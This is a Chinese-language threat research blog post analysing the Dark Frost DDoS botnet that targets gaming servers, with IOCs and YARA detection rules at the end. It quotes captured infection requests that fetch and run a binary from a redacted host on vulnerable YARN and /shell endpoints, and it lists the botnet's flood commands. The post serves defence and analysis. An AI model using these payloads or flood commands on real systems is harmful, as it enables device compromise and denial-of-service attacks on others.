Dark Frost 之谜:有关意外盛行僵尸网络攻击者的简介
编辑和评论补充:Eliad Kimhy 和 Tricia Howard
执行摘要
Akamai 的安全情报响应团队 (SIRT) 发现了一个名为“Dark Frost Botnet”的新 僵尸网络,该僵尸网络瞄准的目标是游戏行业。
Dark Frost Botnet 效仿 Gafgyt、Qbot、Mirai 和其他恶意软件变种,入侵的设备已增加到数百台。
通过反向工程和修补恶意软件二进制文件,我们分析得出此僵尸网络利用 UDP 泛洪攻击,攻击体量有可能达到大约 629.28 Gbps。
在本篇博文中,我们将分析僵尸网络攻击者。这个特殊的恶意攻击者代表了一类需要警惕的威胁画像:相对简单,但十分成功。
我们的分析深入探讨了攻击背后的动机、攻击的有效性,以及法律如何处理类似案件。
简介
僵尸网络 的目的和动机不计其数。在犯罪世界中,僵尸网络运营者可能会选择将僵尸网络用于从加密货币挖矿到垃圾邮件分发等任何勾当。随着僵尸网络租用服务的兴起,发起分布式拒绝服务 (DDoS) 攻击 所需的工作量明显减少。现在,只要付钱,任何人都可以选择发起攻击,运营者不会关心攻击的缘由,而攻击所用的应用程序可以很普通,也可以很复杂。
近年来,如果人们希望构建自己的僵尸网络,而不是简单地租用僵尸网络,那么他们会更容易得逞,这对未采取保护措施的受害者构成了重大威胁。尽管在未经设备所有者同意的情况下编排数百台设备来执行任务似乎很有挑战性,但参与这种犯罪可能非常容易。
我们往往认为,僵尸网络运营者都是老练且有组织的罪犯,但随着 AI 代码生成的有效性不断提高,再借助以往得逞的恶意软件种类的源代码,即便对相关知识了解不多的人也能制作自己的恶意软件。这些堪称“简陋”的僵尸网络尽管并不成熟,但却屡次得手,这让问题更加严重。
攻击者简介
通过 Dark Frost Botnet 这一引发轩然大波的案例,我们发现这名攻击者的得手率和原创性级别高度不符,这令人费解。僵尸网络是拼凑而成的,盗用了数个流行恶意软件系列(Mirai、Gafgyt 和 Qbot)的代码,而攻击者就是利用这样一个僵尸网络对 游戏 业实施了相当成功的攻击。
在这一过程中,有人看到此攻击者在社交媒体上吹嘘其攻击手法、利用僵尸网络参与琐碎的网络纷争,甚至在其二进制文件上留下了数字签名(图 1)。
这一威胁画像影响的范围之广超出您的想象。只要有足够的决心和一些基本的编码知识,几乎任何人都可以造成真正的威胁。如果攻击者是年轻人(不管他们是否了解这些攻击行为的潜在后果),情况尤其如此。他们更有信心能逃过法律制裁,并因此而视法律于不顾,这让他们比预期得更加危险。
我们的目标并不是引起人们对特定的低水平网络攻击者的关注,这反而会迎合他们哗众取宠的心愿。因此,我们决定在本篇博文的图片中抹去可识别的信息。我们撰写本文的主要动机是将这个特殊的僵尸网络作为一个典型案例,来强调 即使是技能水平较低的攻击者也会造成重大损害。
许多媒体关注的都是那些规模最大、影响最为恶劣的威胁团伙,这类攻击者正在对毫无戒心的受害者发动全新的攻击。然而,事实是,攻击者群体中还有很大一部分相对来说手法并不成熟老练,他们只是瞄准了未加防护的资源发起攻击并得手,按当下标准来说,他们的攻击还比较“羸弱”。
感染活动
我们的第一份 Dark Frost 二进制文件样本是于 2023 年 2 月 28 日在 Akamai SIRT(安全情报响应团队)的一些 HTTP 蜜罐中收集的。攻击者的目标是 Hadoop YARN 服务器中允许远程代码执行 (RCE) 的错误配置(未分配 CVE)。原本计划将该样本命名为“Darkness Botnet”,但此名称已于 2010 年分配给了租用型 DDoS 攻击活动。因此,考虑到初始名称和其他二进制文件引用,我们选择将其命名为“Dark Frost Botnet”。
最近,对这种 YARN 错误配置漏洞的利用 日益普遍, 因为尚未对其分配 CVE,且该漏洞可以让攻击者诱骗服务器下载并运行他们的恶意二进制文件。然而,应该注意的是,这种漏洞自 2014 年以来一直存在,早就不是什么新型技术。但考虑到此类攻击的得手率,不论其存在了多长时间,未来仍可能会继续在僵尸网络中占有一席之地。
攻击者首先进行探查,了解应用程序是否容易被此类攻击攻破(图 2)。
/ws/v1/cluster/apps/new-application
(empty)
图 2:漏洞探查
如果收到我们提供的已知存在漏洞的实例的响应,攻击者便认为目标合适,并继续传递恶意载荷(图 3)。
/ws/v1/cluster/apps
{"am-container-spec": {"commands": {"command": "cd /tmp ; pkill -9 roof ; get
http://xx.xx.xx.xx/roof; chmod 777 *; ./roof x86; rm -rf roof ; history -c"}},
"application-id": "application_xxxxxxxxx_xxxxx", "application-type": "YARN",
"application-name": "xxxxxxx"}
图 3:传递恶意载荷
我们还看到攻击者在发送另一个 HTTP 请求,但目前还不了解其用途(图 4)。
Feb 12, 2023 @ 00:44:13.207
/users/sign_up/users/sign_in
-
图 4:其他 HTTP 请求(用途未知)
最初看到文件时,该二进制文件命名为“roof”,尽管通过各种第三方工具查询时,未能查到其哈希的声誉,但我们内部的自动化工具认为它与 Gafgyt 类似(图 5)。原因可能是发现攻击者 IP 在分发 Dark Frost 二进制文件之前的几个月里分发了一个 Gafgyt 特定变体,但更可能的是,它与当今许多恶意软件中常见的各种字符串相匹配。
以该 IP 地址为中心寻找其他二进制文件后,我们发现了更多名为“roof”的文件,每个文件都是 2022 年 10 月以来由同一攻击者开发的。这为我们提供了一个新的 IP,而该 IP 又为我们提供了更多次尝试分发攻击载荷的证据(图 6;因种族敏感问题而受审)。
/shell?cd%20/tmp%20%7C%7C%20cd%20/var/run%20%7C%7C%20cd%20/mnt%20%7C%7C%20cd%20/root%20%7C%7C%20cd%20/;%20wget%20http://xx.xx.xx.xx/XXXXX7%20;%20chmod%20777%20*%20;%20./XXXXX7%20arm7
图 6:更多次尝试分发攻击载荷的证据
这些感染尝试可能并不是执行攻击载荷的唯一途径。然而,这里我们可以通过大量信息来收集有关僵尸网络和攻击者的见解。
对游戏业的攻击
我们分析该文件的第一种形式是执行一条简单的“strings”命令,该命令立即就能让我们找到应为该二进制文件和其他二进制文件负责的攻击者名称。我们利用这些信息找到了多个声称为僵尸网络和许多攻击负责的社交媒体帐户。
Dark Frost 僵尸网络主要瞄准的是游戏行业中的各个分支,包括公司和个人。它已针对游戏 游戏 公司、游戏服务器托管提供商、在线直播流媒体,甚至是攻击者直接参与互动的游戏社区的其他成员发起过 DDoS 攻击。
有时其动机似乎是为了博得关注,有时只是为了在争论中拥有最终发言权。不论何种动机,这一特殊案例的有趣之处在于, 这些攻击事件的幕后主使公布了攻击的现场录像,所有人都能看到。。我们可以通过剖析一些得逞的攻击来了解他们所取得的成效。
不遗余力博取眼球
这一特定攻击者为获得认可作出了相当多的努力,但为此提供的佐证不尽相同。有时他们只是在社交媒体上发帖,声称是自己造成了各种问题,但这种一面之词并没有多大分量。然而,他们偶尔会用记录攻击结果的截图来进一步佐证自己的这些说法。
其中一个例子是他们有关攻击 Plutonium 服务器的推文(图 7),这是一个开源游戏托管平台,拥有专用服务器和模组支持。
此类推文还仅仅是一个开头。这名攻击者甚至发布了攻击的完整视频,比如这次对 AmongUs 服务器的攻击(图 8)。
正如在屏幕截图中看到的,这名攻击者已经活跃了一段时间;我们可以追溯到 2022 年 5 月他们攻击 Rogue Company 服务器的记录(图 9)。
尽管最初的动机似乎是为了自用,但我们后来发现,攻击者创建了其他帐户, 这表示他们有意组建攻击团伙。他们还增加了一个用于跟踪请求的网站(图 10)和一个便于利用攻击来换取钱财的 Discord 频道(图 11),这也佐证了这一猜测。
我们甚至发现攻击者在嘲讽部分受害者,并透露其买家信息(图 12)。
攻击者屡屡得逞又如此猖狂,并且还蓄谋进一步扩大攻击,这让我们清楚地意识到,我们应该更深入地探究这一威胁。
抽丝剥茧
在分析恶意软件时,最难找到答案的问题包括谁对其负责、谁是攻击目标,以及僵尸网络规模有多大。这名网络罪犯已经为我们解答了前两个问题,那么我们来看看他们是否会解答第三个问题,果不其然,他们也作出了回答。
图 13,恶意软件攻击者在 2023 年 2 月截取的屏幕截图显示,僵尸网络中有 414 台设备,其中大多数采用 ARMv4 架构,另外两种比率较高的架构是 MIPSEL 和 x86。ARMv4 的出现非常有意思,因为这种架构早已过时。这种专门针对 ARMv4 和 ARMv7 进行编译的方法很常见,因为 ARMv4 与 ARMv5 和 ARMv6 兼容。针对 ARMv4 和 ARMv7 进行编译可确保恶意软件也能瞄准基于 ARMv7 架构运行的更现代化的设备。
这种一石二鸟的方法能帮助恶意软件撒下一张更大的网,增加成功感染设备的几率。
接下来,我们知道,我们必须要深入探究这一切是如何运作的。为此,我们首先梳理了蜜罐日志,以提取攻击载荷并观察所用的漏洞。
原创性报告:低
如果没有自动二进制文件收集系统(图 14),我们很难获得二进制文件,因为在调查时,分发 IP 已经关停。
检索样本后,我们了解到我们处理的是 x86-64 版本(图 15),且该样本经过剥离,为逆向工程增加了些许不便。
然而,还有许多其他指示元素,如错误处理和使用消息,可以引导我们探索代码(图 16)。
总共有八次攻击,其中一些是比较常见的类型,如 UDP 和 TCP,但另一些则有些奇怪,如 Zgoflood (图 17)。
“Usage: !udp <target> <port> <time> <packetsize>",
“Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>",
“Usage: !onepacket <target> <port> <time>",
“Usage: !zgoflood <target> <port> <time>",
“Usage: !socketflood <target> <port> <time>",
“Usage: !junkflood <target> <port> <time>",
“Usage: !std <target> <port> <time> <packetsize>",
“Usage: !randflood <target> <port> <time> <packetsize>",
“Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>",
图 17:Dark Frost 的攻击选项
在对样本进行逆向工程的过程中,我们可以按推断出的用途为一些经过剥离的函数进行重命名(图 18)。
> afn fcn.rand_hex_flood 0x00400620
> afn fcn.std_flood 0x00400f80
> afn fcn.junk_flood 0x00401080
> afn fcn.socket_flood 0x004009d0
> afn fcn.tcp_flood 0x004016f0
> afn fcn.one_packet_flood fcn.00400770
> afn fcn.zgo_flood fcn.00400880
> afn fcn.udp_flood 0x00401450
> afn fcn.switch_on_attacks fcn.004020e0
> afn fcn.register_with_c2 fcn.00402ab0
> afn fcn.watchdog_keep_alive fcn.004001c0
图 18:重命名后的剥离函数
然后,我们修补了此二进制文件(图 19),这样我们的 IP 将成为命令和控制 (C2) 服务器。您可以看到,现在字符串变量的名称与实际值不同。值得注意的是,C2 也是此次更改之前的恶意软件分发 IP。
然后,我们为样本提供了执行权限,并运行样本,看看会发生什么。运行后,我们发现,如图 20 中的 C2 消息特别指示的那样,我们处理的可能是一个基于 Linux 的 Qbot 变体。
这种恶意软件实际的确切谱系很难确定,因为大部分源代码似乎来自其他各种有过成功得逞经历的恶意软件,而 BASHLITE 是其共同的始祖。BASHLITE 也称为 Gafgyt、Lizkebab、PinkSlip、Qbot、Torlus 和 LizardStresser,这让此组合型恶意软件更具迷惑性。
CNCERT 物联网威胁研究团队和绿盟科技伏影实验室于 2022 年 12 月发表了一份 联合报告, 其中讨论了这名攻击者过去的一些 Gafgyt 和 Mirai 特定操作。然而,通过我们 手动剖析,发现 Dark Frost Botnet 似乎是一个全新且由 BASHLITE 分支组合而成的 DDoS 攻击,直接引用了 Qbot,并与 Gafgyt 有诸多相似之处。在该恶意软件的上下文中,关于 Qbot 的主要一点是,我们所指的是 BASHLITE 子代“Qbot”,而不是银行特洛伊木马“Qakbot/Qbot”。
GitHub 上有多个公开可用的 Qbot、Gafgyt 和 Mirai 变体专门用于 DDoS 攻击,我们认为攻击者从这些变体中获取了大部分代码,然后编写了自己的 C2。 即使采用盗用的代码和过时的漏洞,他们仍然设法关闭了相当多的在线服务。
为了解他们是如何做到的,我们开启了一项任务来评估攻击能力。
攻击基准测试
通过使用另一终端在他们指定的 C2 端口 (TCP/420) 上进行侦听,我们能够通过他们的 C2 连接检查,但程序似乎因出错而退出(图 21)。
恶意软件试图报告用于感染设备的恶意软件样本的操作系统类型和架构(图 22)。在本例中,我们使用 Arch Linux 来引发并剖析一个 x86 样本。
成功通过连接和注册步骤后,尽管我们尽了最大努力,该程序仍会继续退出。一些有用的错误消息表明,原因是我们的恶意软件实验室中没有安装监视程序驱动程序。我们多次试图避开此检查或满足此检查的要求,最后我们发现,尽管该进程在命令行上似乎停止了执行,却在后台启动了一个等待命令传入的子进程。
为了测试这一点,我们使用 C2 通信中的互联网中继聊天发送了一个典型 BASHLITE 变体的检测信号(图 23)。
发送检测信号后,返回了正确的响应,然后我们准备对自己发起攻击。我们决定测试的第一个攻击是 udp_flood (图 24),它看起来是一个简单的 UDP 数据包泛洪攻击,每个数据包都用“U”进行填充,直至达到攻击者指定的长度。
socketflood 和 junkflood 攻击看起来也非常相似,都通过 TCP 发送了少量十六进制编码内容(图 25)。需要注意的另一点是 socketflood 的实际显示输出是 HOLD flood。
在测试其列为 @c2 的 C2 命令时,我们收到了使用错误。后来我们认定这可能代表 !c2,所以尝试了一下(图 26),然后发送了一个数据包。
另外还成功发起了 onepacket、 std、 randflood和 Zgoflood 攻击,但并未实际发送任何数据(图 27)。这可能意味着这些功能仍在开发中,或者是出了问题。
正如大家所看到的,这个恶意软件还远称不上完美。我们还发现了许多其他线索,这些线索会触发各种使用声明,但不会造成任何攻击,此外,在整个程序中散布着大量编码不当的仇恨信息。然而,攻击者在多次攻击中都成功得手,因此我们知道,我们应该确切地探究此类攻击实际会造成多大损害。
潜在损害
我们开始对他们的攻击进行基准测试,发现 UDP 泛洪攻击最为稳定,输出量也最大。我们使用了从 1024 开始的各种数据包大小,以了解不同数据包大小如何影响发送的数据总量。
如图 28 所示,我们在特定端口上执行此攻击 10 秒钟,然后继续在 tcpdump 中收集这些数据以分析结果(图 29)。
!udp xxx.xxx.xxx.xxx 1420 10 1024
图 28:对攻击进行基准测试
数据包大小为 1,024,攻击持续 10 秒,结果捕获了 140 万个数据包,总共产生了 1.5GB 数据。这让输出达到了 1.2 Gbps。通过同样的实验,我们看到了针对不同大小数据包的以下结果(表 1)。
数据包大小 |
捕获的数据包数 |
总大小 |
输出 |
---|---|---|---|
256 |
1,818,558 |
545M |
436 Mbps |
512 |
1,703,925 |
927M |
741.6 Mbps |
1,024 |
1,448,826 |
1.5G |
1.2 Gbps |
2,048 |
307,429 |
449M |
359.2 Mbps |
表 1:按数据包的 Dark Frost 输出(含碎片排除)
像这样运行测试时,我们最常看到的是攻击者使用接近 1,024 的数据包。如果数据包大小加倍,由于数据包碎片,数据包输出速度会下降,这意味着我们只能观察到通过指定端口的数据包,而看到不它们的碎片。要以正确的方式继续进行基准测试,我们必须在回送处开始发起这些攻击,以避免碎片化,并在回送接口上侦听以重新进行测量(表 2)。
数据包大小 |
捕获的数据包数 |
总大小 |
输出 |
---|---|---|---|
1,024 |
1,659,840 |
1.4G |
1.12 Gbps |
2,048 |
1,445,158 |
1.9G |
1.52 Gbps |
4,096 |
828,681 |
1.9G |
1.52 Gbps |
8,192 |
432,884 |
1.8G |
1.44 Gbps |
表 2:Dark Frost 输出(包含数据包碎片)
正如大家所看到的,要实现输出最大化,数据包的最佳大小应该是 2,048。超出此大小后,发送的数据包数量明显下降。这可能是由于为了达到所需长度,UDP 数据包填充了“U”字符,而这一操作可能会在很大程度上拖慢传输速度。
以 1.52 Gbps 作为我们新的单节点基准,我们可以将其乘以截至 2023 年 2 月僵尸网络中的节点数量 (414),得出 629.28 Gbps。
DDoS 是否不合法?
令人惊讶的是,业余网络罪犯甚至“安全研究人员”也会出于各种目的创建和启动 僵尸网络, 并且这样做时似乎也没什么影响,反倒是很常见的做法。租用型 DDoS 的用户另外增加了虚假安全层,因为他们认为,自己在利用这些服务发动攻击时并不构成犯罪。
虽然测试和发现对于刚起步的研究人员来说至关重要,但必须在归其所有的环境中进行操作,以避免承担法律(或受托义务)相关后果。人们越来越倾向于追究网络罪犯在这些犯罪案件中所负的责任,以儆效尤,让人们确切地了解到向公众提供这些服务属于违法行为。
打击类似犯罪行动的一个典型例子就是 Operation PowerOFF。该行动最初于 2018 年启动,2022 年和 2023 年又实施了后续行动,本次持续行动是美国联邦调查局、荷兰国家警察局、欧洲刑警组织、德国联邦刑事犯罪调查局、波兰打击网络犯罪中央局和英国国家犯罪署联合开展的。行动的目标是截获多个提供租用型 DDoS 服务的网站,就像是这名攻击者试图搭建和营销的网站。到目前为止,这场瓦解行动已导致 多人被捕,多人被扣押,并引起了 媒体的高度关注。
但企业应该认识到, 总会有人以身试法。 因此他们需要采取相应的防御措施,加强自身防护。
结论
尽管这些攻击者的技术并不新颖,但影响力十分惊人。Dark Frost 僵尸网络并不是最诡计多端、最具迷惑性的对手,但仍然成功控制了数百台“肉机”。
近年来,全社会共同见证的技术进步提供了一种媒介,让心怀叵测者可以借以从幕后造成实质性破坏。Dark Frost 网络僵尸背后的攻击者有着扩大运营范围的明确计划,表明了他们打算在更大范围内造成破坏,以达到谋取经济利益这一核心目的。安全界及时发现了这些尚在萌芽期的低水平攻击者的苗头,避免其发展为重大威胁,这非常重要。
还有一点需要注意,并不是每个攻击者都会像本文所述的攻击者那样公开自己的不当行为。然而,攻击门槛的降低将继续被利用,给企业和个人带来更多损害。
Akamai 守护您的安全
尽管 Dark Frost 僵尸网络攻击力十足,可以造成许多在线服务中断,但受 Akamai 保护的服务非常安全。SIRT 将继续监测此类威胁,并在发现相关情况时及时提醒社区。有关 Akamai 的更多实时研究, 请关注我们的微信公众号。
IOC
哈希
45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da8 (Dark Frost)
f4167f038ecc414bd074eedfb1189c104b24549d3363efc236356d383ec72c41(同一攻击者)
0bdafdd65d9a1a0ed59745a8ef6f6fc0a0f6262c495547c3e45e203921dcc2f2(同一攻击者)
9b328d2e3ffbac07458054c9e148b66e5d60c4aff95c1475ee975ba2f2d350bc(同一攻击者)
beb8eedd346e0427ce65d8ac8c81a63922941d404ddb63b99f1e2adba3d1e769(同一攻击者)
IP
37.44.238[.]192
46.249.32[.]136
37.44.238[,]191
178.17.174[,]182
路径
http://<ip>/roof
Yara 规则
严格
rule ___Dark_Frost_roof_strict {
meta:
description = "Dark_Frost - file roof"
hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
strings:
$s1 = "[37m] Usage: !socketflood <target> <port> <time>" fullword ascii
$s2 = "[37m] Usage: !junkflood <target> <port> <time>" fullword ascii
$s3 = "[37m] Usage: !randflood <target> <port> <time> <packetsize>" fullword ascii
$s4 = "[37m] Usage: !zgoflood <target> <port> <time>" fullword ascii
$s5 = "[37m] Usage: !std <target> <port> <time> <packetsize>" fullword ascii
$s6 = "[37m] Usage: !udp <target> <port> <time> <packetsize>" fullword ascii
$s7 = "[37m] Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>" fullword ascii
$s8 = "[37m] Usage: !onepacket <target> <port> <time>" fullword ascii
$s9 = "32352e31302e3133392e3537" ascii /* hex encoded string '25.10.139.57' */
$s10 = "3135332e33312e3231332e3333" ascii /* hex encoded string '153.31.213.33' */
$s11 = "3135362e33332e3234312e35" ascii /* hex encoded string '156.33.241.5' */
$s12 = "[37m] Connected to C2 on attempt #" fullword ascii
$s13 = "[killer] finding and killing processes holding port %d" fullword ascii
$s14 = "[37m] Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>" fullword ascii
$s15 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
$s16 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
$s17 = "[killer] new login: killing pid=%d" fullword ascii
$s18 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
$s19 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" fullword ascii
$s20 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)" fullword ascii
condition:
uint16(0) == 0x457f and filesize < 400KB and
8 of them
}
宽松
rule ___Dark_Frost_roof_lenient {
meta:
description = "Dark_Frost - file roof"
hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
strings:
$s1 = "!zgoflood"
$s2 = “@c2 <c2 ip>”
$s3 = “Successfully registered[darkness.%s] :D”
$s4 = “ZGO Flooding”
condition:
any of them
}